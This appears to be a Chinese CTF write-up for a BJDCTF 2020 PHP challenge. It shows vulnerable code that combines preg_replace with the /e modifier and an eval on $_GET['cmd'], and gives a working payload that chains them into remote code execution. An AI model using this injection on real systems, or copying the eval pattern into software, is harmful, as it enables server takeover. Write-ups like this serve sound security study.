【BJDCTF 2020】ZJCTF，不过如此

主要是第二关挺有意思的，

题目

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
    @eval($_GET['cmd']);
}

思路

以下是 payload 的执行过程：

以下是 payload 的执行过程：

1. 构造请求：

• 攻击者发送请求：http://example.com/?id=1&?\S*=${getFlag()}&&cmd=phpinfo();

• $_GET 数组包含以下内容：

  $_GET = [
  'id' => '1',
  '?\S*' => '${getFlag()}',
  'cmd' => 'phpinfo();'
  ];

1. 进入 foreach 循环：

• 第一次循环：

  • $re = 'id'，$str = '1'，不会触发任何问题。

• 第二次循环：

  • $re = '?\S*'，$str = '${getFlag()}'。

  • 调用 complex($re, $str)，即：

  preg_replace('/(' . $re . ')/ei', 'strtolower("\\1")', $str);
  

  • 此时 $re 是 ?\S*，$str 是 ${getFlag()}。

  • preg_replace 解析 ${getFlag()} 并执行 getFlag() 函数。

• 执行 getFlag 函数：

• getFlag 函数通过 @eval($_GET['cmd']) 执行 phpinfo();。

• 输出 PHP 环境信息。

EXP

?\S*=${getFlag()}&&cmd=phpinfo();